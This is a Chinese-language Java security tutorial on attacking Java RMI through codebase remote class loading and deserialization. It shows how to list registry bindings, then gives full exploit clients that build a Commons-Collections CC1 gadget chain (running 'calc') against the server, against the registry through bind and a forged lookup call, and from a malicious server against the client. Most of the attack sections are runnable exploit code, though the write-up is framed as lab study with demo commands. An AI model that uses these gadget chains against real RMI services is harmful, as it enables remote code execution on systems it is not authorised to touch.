Java安全学习——利用RMI进行攻击

概述

Java RMI机制能够让一台Java虚拟机上的对象调用运行在另一台Java虚拟机上的对象的方法。总结一下,RMI机制的实现依赖于以下三个部分

  • RMI Server
  • RMI Registry
  • RMI Client

简单概括一下RMI的流程:Server端事先在Registry处bind将要被调用的远程对象。当Client需要调用远程对象时,先根据rmi://地址连接到Registry,然后在Registry处查看是否绑定有需要的远程对象。如果有,则Registry返回Server端的rmi://地址以及开放的端口,Client据此连接到Server。然后才开始真正的远程方法调用,远程方法在Server端执行,Server将执行后的结果发送给Client。

参考以上流程,我们该怎样利用RMI机制进行攻击呢?

调用远程恶意方法

很容易想到,既然我们能够利用RMI机制直接调用远程方法,如果在Server端存在某些恶意方法,并且恰好又在Registry中注册了,那么我们岂不是可以直接调用远程恶意方法进行攻击?

我们可以通过list方法列出目标Registry上所有绑定的对象

String[] s = Naming.list("rmi://192.168.1.100:1099");

#列出远程对象
$ java -jar RMI_Client.jar
[Ljava.lang.String;@31b7dea0

这里有一个工具,能够探测Server端注册的危险对象,我们进而通过探测出的危险对象进行攻击。不过,上述方式的攻击在实战中很难碰到,这种攻击方式远远不能达到我们的目的。

那么进一步思考,既然我们要求服务器端的恶意对象必须在Registry中注册。那么我们能不能通过Client端在Registry注册恶意对象呢?

#RMI Client
registry.rebind("rmi://192.168.1.100:1099/hello",rmiHello_test);

我们测试在Client端重新绑定一个对象,结果报了以下错误

报错信息

原来Java中对于RMI Registry做了限制,只有源地址为localhost时才能调用bindrebindunbind等方法。所以我们并不能通过在Client端注册恶意对象的方式进行攻击。

利用codebase进行攻击

Classpath与codebase

Classpath与codebase是两个较为相似的概念,想要理解codebase,我们不妨先了解一下Classpath。

在JAVA中,Classpath描述了JVM在运行一个Class时应该到哪里去寻找需要的类。Classpath是一个系统中的环境变量,如下所示。其中各变量值以;分割,.代表当前目录。

环境变量

Classpath有两种表达方式,一种是指向目录的classpath,如C:/work/classes,表示C:/work/classes目录是一个classpath条目,目录下有我们需要的.class文件。另一种方式是指向.jar压缩文件的classpath,如C:/work/util.jar,表示C:/work/util.jar文件是一个classpath条目,.jar压缩文件中含有我们需要的.class文件。

于是当JVM在加载类的时候会以如下方式查找具体的类文件:classpath+包目录+类文件。如Classpath中有一个C:/work/classes条目,需要加载的类是com.company.util.Sample.class,那么在加载这个类的时候,虚拟机会查找C:/work/classes/com/company/util目录,如果Sample.class在这个目录中,虚拟机就可以找到,如果这个类不在这个目录中,同时也不在任何一个其它classpath中,那么虚拟机会抛出一个ClassNotFoundException

命令行状态下的classpath可以通过两种方式设置:

  • 一种是直接设置环境变量,命令行下使用set命令:set CLASSPATH=C:/work/classes;C:/work/util.jar
  • 另一种方式是在执行javac、java或者其它Java命令时直接指定classpath:java -classpath [-cp] c:/work/classes;c:/work/util.jar com.company.util.Sample

总结起来,Classpath其实就是一个JVM用于在本地寻找类的"路径"。类似的,codebase其实也是一个路径,只不过这个路径不是本地路径,而是一个远程路径。

JVM不仅可以在本地的Classpath中加载类,也可以根据需要从网络上下载类。为了使Java程序可以从网络上下载类,我们可以使用codebase来指定Java程序在网络何处寻找需要加载的类。

那么我们该怎么指定codebase呢?在程序启动前,我们可以通过-D参数来设置一些系统属性值,包括codebase,就像下面这样

java -Djava.rmi.server.codebase=http://url:8080/
#或者
java -Djava.rmi.server.codebase=http://url:8080/xxx.jar
添加JVM参数

同时,我们也可以在代码中通过System.setProperty()来设置系统属性值

System.setProperty("java.rmi.server.codebase", "http://url:8080/");

既然JVM既可以在Classpath中加载类,又可以在codebase中加载类,那么Classpath和codebase是什么关系呢?

实际上,Classpath和codebase都是被系统类加载器(ClassLoader)所使用的。类加载器在加载一个类的时候,首先在Classpath中查找需要的类,然后在codebase中查找,第一个被查找到的类才会被加载。例如,在早期的JDK版本中,缺省codebase是空值,如果没有在Classpath中指定.(当前目录),运行当前目录下的java class时会出现ClassNotFoundException。而在晚些版本中,缺省codebase是.,所以即使不在classpath中加入.,当前目录下的java class仍然可以正常运行。

RMI动态类加载

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的.class文件可以使用http://ftp://file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。

对于RMI客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebase中去加载类

对于RMI服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebase中去加载对应的类。因此客户端与服务端两边的java.rmi.server.codebase在RMI通信过程中都是互相传递的。

假如我们能够控制codebase的值,让Server去远程加载我们放置的恶意类,那么不就能达到攻击的效果了吗?

不过在RMI中,不论是客户端还是服务端,只有满足以下条件才能利用codebase从远程加载类

  • 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要启动RMISecurityManager并且配置java.security.policy
  • 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机java.rmi.server.codebase指定路径加载类文件,不再支持从RMI请求中获取codebase。增加了RMI ClassLoader的安全性。

下面我们来测试一下如何利用codebase进行攻击

模拟攻击

编写RMI Server以及RMI Client

服务器端

ICalc.java

package learn.rmi.codebase;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;


public interface ICalc extends Remote {

    //这使用List类做参数是方便我们传递恶意对象
    public Integer sum(List<Integer> lists) throws RemoteException;
}

RMIServer.java

package learn.rmi.codebase;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class RMIServer {

    public class RMICalc extends UnicastRemoteObject implements ICalc {
        protected RMICalc() throws RemoteException{
            super();
        }


        @Override
        public Integer sum(List<Integer> lists) throws RemoteException {
            Integer result=0;
            for (Integer list : lists){
                result+=list;
            }
            return result;
        }
    }

    private void register() throws Exception{

        //启动RMISecurityManager
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }

        RMICalc rmiCalc=new RMICalc();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/calc",rmiCalc);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().register();
    }
}

服务端配置RMISecurityManager,并编写server.policy

grant {
    permission java.security.AllPermission;
};

客户端

RMIClient.java

package learn.rmi.codebase;

import java.io.Serializable;
import java.rmi.Naming;
import java.util.List;

public class RMIClient implements Serializable {

    public void lookup() throws Exception{
        ICalc iCalc = (ICalc) Naming.lookup("rmi://192.168.1.104:1099/calc");

        List<Integer> li = new Payload();
        li.add(1);
        li.add(2);

        System.out.println(iCalc.sum(li));
    }

    public static void main(String[] args) throws Exception{
        new RMIClient().lookup();
    }

}

恶意类Payload.java

package learn.rmi.codebase;

import java.io.IOException;
import java.util.ArrayList;

public class Payload extends ArrayList<Integer> {

    static {
        try {
            Runtime.getRuntime().exec("whoami");
            System.out.println("success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

攻击测试一

我们首先将恶意类Payload.java放到Server端,不使用codebase,看能否正常执行

客户端
服务端

可以看到服务器正常加载了我们传递的恶意类。服务端首先会在CLASSPATH下寻找Payload.java,找到了便会将其加载进来。

攻击测试二

下面我们将Payload.java从Server端删除,使用codebase进行类加载,模拟正常的攻击场景。

配置客户端和服务端的VM options,如下

#服务端
-Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=C:\xxx\server.policy -Djava.rmi.server.hostname=192.168.1.104
服务端

注意这里的policy文件在Windows下需要写完整路径,不然会报如下错误

Exception in thread "main" java.security.AccessControlException: access denied ("java.net.SocketPermission" "127.0.0.1:1099" "connect,resolve")
	at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
	at java.security.AccessController.checkPermission(AccessController.java:886)
	at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
	at java.lang.SecurityManager.checkConnect(SecurityManager.java:1051)
	at java.net.Socket.connect(Socket.java:601)
	at java.net.Socket.connect(Socket.java:555)
	at java.net.Socket.<init>(Socket.java:451)
	at java.net.Socket.<init>(Socket.java:228)
	at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(RMIDirectSocketFactory.java:40)
	at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(RMIMasterSocketFactory.java:148)
	at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:617)
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:216)
	at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
	at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:342)
	at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:65)
	at java.rmi.Naming.bind(Naming.java:128)
	at learn.rmi.codebase.RMIServer.register(RMIServer.java:39)
	at learn.rmi.codebase.RMIServer.main(RMIServer.java:44)

上述错误是由于我们在服务器端启用了RMISecurityManager,但是却没有配置相应的grant
解决办法如下

  • 不启用RMISecurityManager,删除代码System.setSecurityManager(new SecurityManager());
  • 给JVM配置相应的grant权限,默认的policy文件在%JAVA_HOME%\jre\lib\security\java.policy,如果需要指定新的policy文件,请在VM options中加上参数-Djava.security.policy=file

下面来配置客户端VM options

#客户端
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.1.104:8888/

下面我们启动恶意服务器,但不放置恶意类文件

python3 -m http.server 8888

启动服务端,并使用客户端发起请求,会报如下错误

Exception in thread "main" java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: 
	java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is: 
	java.lang.ClassNotFoundException: learn.rmi.codebase.Payload
	at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
	at sun.rmi.transport.Transport$1.run(Transport.java:200)
	at sun.rmi.transport.Transport$1.run(Transport.java:197)
	at java.security.AccessController.doPrivileged(Native Method)
	...

提示找不到类Payload,因为我们还没有在恶意服务器上放置类文件,同样我们的恶意服务器也受到请求

利用测试三

下面我们将恶意类放置到服务器上,注意路径要和客户端包路径相同。再次发起请求

恶意服务器收到请求

同时Server端加载了服务器上的恶意类

Client端也收到了Server端返回的远程方法执行结果

上述过程是通过RMI Client端攻击RMI Server端。Client端通过向Server传递一个恶意的codebase地址,使服务器远程加载恶意类进行攻击。这时受害者是RMI服务端,需要满足以下条件才能利用

  • 可以控制客户端去连接我们的恶意服务端
  • 客户端允许远程加载类
  • JDK版本限制

另一种情况是Server端返回某子类的对象实例,Client端需要通过codebase加载缺少的.class文件,此时是通过RMI Server端攻击RMI Client端,攻击方式与上述大同小异,同样需要满足以下条件

  • RMI服务端允许远程加载类
  • JDK版本限制

这种利用codebase加载远程恶意对象的方式利用条件较为苛刻,在实战中很难碰到。

RMI反序列化攻击

我们知道,RMI的核心之一就是动态类加载。不管是Client,Server还是Registry,当需要操作远程对象的时候,就势必会涉及到序列化和反序列化,假如某一端调用了重写的readObject()方法,那么我们就可以进行反序列化攻击了。

RMI交互方式

在RMI过程中,常常会涉及到以下5个交互方式,这几种方法位于RegistryImpl_Skel.dispatch()中,每种方式对应的case如下

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

list

list方法用来列出Registry上绑定的远程对象

case 1:
                var2.releaseInputStream();
                String[] var97 = var6.list();

                try {
                    ObjectOutput var98 = var2.getResultStream(true);
                    var98.writeObject(var97);
                    break;
                } catch (IOException var92) {
                    throw new MarshalException("error marshalling return", var92);
                }

没有readObject()无法利用

bind&rebind

bind方法用来在Registry上绑定一个远程对象,rebind方法和bind方法类似

#bind方法
case 0:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var94) {
                    throw new UnmarshalException("error unmarshalling arguments", var94);
                } catch (ClassNotFoundException var95) {
                    throw new UnmarshalException("error unmarshalling arguments", var95);
                } finally {
                    var2.releaseInputStream();
                }

                var6.bind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var93) {
                    throw new MarshalException("error marshalling return", var93);
                }

#rebind方法
case 3:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var85) {
                    throw new UnmarshalException("error unmarshalling arguments", var85);
                } catch (ClassNotFoundException var86) {
                    throw new UnmarshalException("error unmarshalling arguments", var86);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var84) {
                    throw new MarshalException("error marshalling return", var84);
                }

可以看到bindrebind方法中都含有readObject()方法。如果服务端调用了bindrebind方法,并且安装了存在反序列化漏洞的相关组件,那么这时候我们就可以进行反序列化攻击。

lookup&unbind

lookup方法用于获取Registry上的一个远程对象,unbind用于解绑一个远程对象

#lookup方法
case 2:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

                var8 = var6.lookup(var7);

                try {
                    ObjectOutput var9 = var2.getResultStream(true);
                    var9.writeObject(var8);
                    break;
                } catch (IOException var88) {
                    throw new MarshalException("error marshalling return", var88);
                }
#unbind方法
case 4:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var81) {
                    throw new UnmarshalException("error unmarshalling arguments", var81);
                } catch (ClassNotFoundException var82) {
                    throw new UnmarshalException("error unmarshalling arguments", var82);
                } finally {
                    var2.releaseInputStream();
                }

                var6.unbind(var7);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var80) {
                    throw new MarshalException("error marshalling return", var80);
                }

可以看到这两个方法都含有readObject(),不过必须为String类,这里我们不能直接利用,可以伪造连接请求进行利用。

攻击Server端

当客户端需要调用的远程方法的参数中含有Object类,此时Client可以发送一个恶意的对象。由于远程对象是以序列化形式进行传输的,Server端接收的时候势必会对其进行反序列化。如果Server端恰好安装了含有漏洞的组件,此时我们就可以进行攻击,下面我们来模拟一下。

其实这种方法本质还是传递给Server一个恶意对象,并且有以下利用条件

  • Server端有能够传递Object对象的远程方法
  • Server端安装有包含反序列化漏洞的相关组件

服务端

ICalc.java

package learn.rmi.serialize;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;


public interface ICalc extends Remote {

    //这使用List类做参数是方便我们传递恶意对象
    public Integer sum(List<Integer> lists) throws RemoteException;
    
    //带有Object类参数的远程对象
    public Object RMI_Serialize(Object o) throws Exception;
}

RMIServer.java

package learn.rmi.serialize;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class RMIServer {

    public class RMICalc extends UnicastRemoteObject implements ICalc {
        protected RMICalc() throws RemoteException{
            super();
        }

        @Override
        public Integer sum(List<Integer> lists) throws RemoteException {
            Integer result=0;
            for (Integer list : lists){
                result+=list;
            }
            return result;
        }

        @Override
        public Object RMI_Serialize(Object o) throws Exception {
            System.out.println("success");
            return o;
        }
    }

    private void register() throws Exception{

        RMICalc rmiCalc=new RMICalc();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/calc",rmiCalc);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().register();
    }
}

同时服务端配置相应带有漏洞的组件,这里我以commons-collections3.2.1为例

pom.xml

...
<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
...

客户端

ICalc.java

package learn.rmi.serialize;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;


public interface ICalc extends Remote {

    //这使用List类做参数是方便我们传递恶意对象
    public Integer sum(List<Integer> lists) throws RemoteException;

    public Object RMI_Serialize(Object o) throws Exception;
}

RMIClient.java

package learn.rmi.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class RMIClient implements Serializable {

    public void lookup() throws Exception{

        //查找绑定对象
        String rmi = "rmi://192.168.1.104:1099/";
        String[] bindeds=Naming.list(rmi);
        for(String binded:bindeds){
            System.out.println(binded);
        }

        ICalc iCalc = (ICalc) Naming.lookup("rmi://192.168.1.104:1099/calc");
        iCalc.RMI_Serialize(Exploit());
    }

    //恶意对象CC1
    public static Object Exploit() throws Exception{

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//        for (Map.Entry entry: transformedMap.entrySet()){
//            entry.setValue(Runtime.getRuntime());
//        }


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o=AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        return o;
    }

    public static void main(String[] args) throws Exception{
        new RMIClient().lookup();
    }

}

模拟攻击

下面我们通过Client攻击Server。将Server放到本地运行

远程搭建运行恶意Client

成功RCE

攻击Registry

一般Registry和Server是绑定在一起的,攻击Registry其实是攻击与Registry交互的几种方法。当Server的RegistryImpl_Skel对象调用了相应方法时,就有可能被攻击

调用bind&rebind

我们上面分析过,这两种方法含有readObject(),但是只能接受String和Remote对象的反序列化

var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();

所以这里我们不能直接进行攻击,因为我们的生成的恶意对象是Object类,而Client端bindrebind方法只能传入String和Remote类,我们需要使用动态代理将其转为Remote对象,如下

InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, o));

进行模拟攻击

Server端

package learn.rmi.serialize;

import java.io.Serializable;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class RMIServer {

    public class RMICalc extends UnicastRemoteObject implements ICalc, Serializable {
        protected RMICalc() throws RemoteException{
            super();
        }

        @Override
        public Integer sum(List<Integer> lists) throws RemoteException {
            Integer result=0;
            for (Integer list : lists){
                result+=list;
            }
            return result;
        }

        @Override
        public Object RMI_Serialize(Object o) throws Exception {
            System.out.println("success");
            return o;
        }
    }

    private void register() throws Exception{

        RMICalc rmiCalc=new RMICalc();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("rmi://127.0.0.1:1099/calc",rmiCalc);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().register();
    }
}

Client端

package learn.rmi.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient implements Serializable {

    public void lookup() throws Exception{


        String rmi = "192.168.1.102";
        Integer port=1099;

        Registry registry = LocateRegistry.getRegistry(rmi,port);
        registry.bind("ser", (Remote) Exploit());
    }

    //恶意对象CC1
    public static Object Exploit() throws Exception{

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, o));
        return r;
    }

    public static void main(String[] args) throws Exception{
        new RMIClient().lookup();
    }

}

本地启动Server

远端启动Client

成功执行

调用lookup&unbind

由于这两个方法只能传入String类,所以我们需要重写Client端Registry

var7 = (String)var10.readObject();

这里我们以lookup为例,源码如下

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
            RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }

            super.ref.invoke(var2);

            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();
            } catch (IOException var15) {
                throw new UnmarshalException("error unmarshalling return", var15);
            } catch (ClassNotFoundException var16) {
                throw new UnmarshalException("error unmarshalling return", var16);
            } finally {
                super.ref.done(var2);
            ...

由于参数var1只能为String类,所以我们需要自己伪造实现lookup方法,并在var3.writeObject(var1);中将我们的恶意类传入。

首先获取ref对象,以下是RegistryImpl_Stub的继承图

ref位于RemoteObject中的fields,我们可以通过反射调用来获取

// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

然后同样反射获取operations

//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

最后伪造lookup的代码,模拟通信过程,并传入恶意信息,其中r就是我们传入的恶意对象

//伪造lookup代码
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);

模拟攻击

Server端不变

Client端

package learn.rmi.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RMIClient2 implements Serializable {

    public void lookup() throws Exception{

        //获取Registry
        String rmi = "192.168.1.102";
        Integer port=1099;
        Registry registry = LocateRegistry.getRegistry(rmi,port);

        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(Exploit());
        ref.invoke(var2);
    }

    //恶意对象CC1
    public static Object Exploit() throws Exception{

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//        for (Map.Entry entry: transformedMap.entrySet()){
//            entry.setValue(Runtime.getRuntime());
//        }


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, o));
        return r;
    }

    public static void main(String[] args) throws Exception{
        new RMIClient2().lookup();
    }

}

启动Server

运行Client

成功执行

攻击Client

Server攻击Client

在RMI过程中,Server会把远程方法执行的结果返回给Client端,如果返回的结果是一个对象,那么这个对象会被序列化传输,并在Client端被反序列化。如果我们搭建恶意Server端,返回给Client端恶意对象,就可以达到攻击的效果。

模拟攻击

恶意Server端

ICalc.java

package learn.rmi.serialize;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;


public interface ICalc extends Remote {

    //这使用List类做参数是方便我们传递恶意对象
    public Integer sum(List<Integer> lists) throws RemoteException;

    //带有Object类参数的远程对象
    public Object RMI_Serialize(Object o) throws Exception;

    public Object RMI_Serialize_Client() throws Exception;
}

RMIServer_Client.java

package learn.rmi.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class RMIServer_Client {

    public class RMICalc extends UnicastRemoteObject implements ICalc, Serializable {
        protected RMICalc() throws RemoteException{
            super();
        }

        @Override
        public Integer sum(List<Integer> lists) throws RemoteException {
            Integer result=0;
            for (Integer list : lists){
                result+=list;
            }
            return result;
        }

        @Override
        public Object RMI_Serialize(Object o) throws Exception {
            return null;
        }

        @Override
        public Object RMI_Serialize_Client() throws Exception {
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };

            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


            HashMap<Object,Object> map=new HashMap<>();
            map.put("value","value");
            Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//        for (Map.Entry entry: transformedMap.entrySet()){
//            entry.setValue(Runtime.getRuntime());
//        }


            Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
            AnnotationInvocationHandlerConstructor.setAccessible(true);
            InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
            return (Object) o;
        }
    }

    private void register() throws Exception{

        RMICalc rmiCalc=new RMICalc();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("calc",rmiCalc);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMIServer_Client().register();
    }
}

Client端

RMIClient_Client.java

package learn.rmi.serialize;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient_Client {
    public void lookup() throws Exception{

        String rmi = "192.168.1.10";
        Integer port=1099;
        Registry registry = LocateRegistry.getRegistry(rmi,port);
        ICalc iCalc = (ICalc) registry.lookup("calc");
        iCalc.RMI_Serialize_Client();
    }

    public static void main(String[] args) throws Exception{
        new RMIClient_Client().lookup();
    }
}

启动恶意客户端等待Client连接

Client发起请求,成功执行

Registry攻击Client

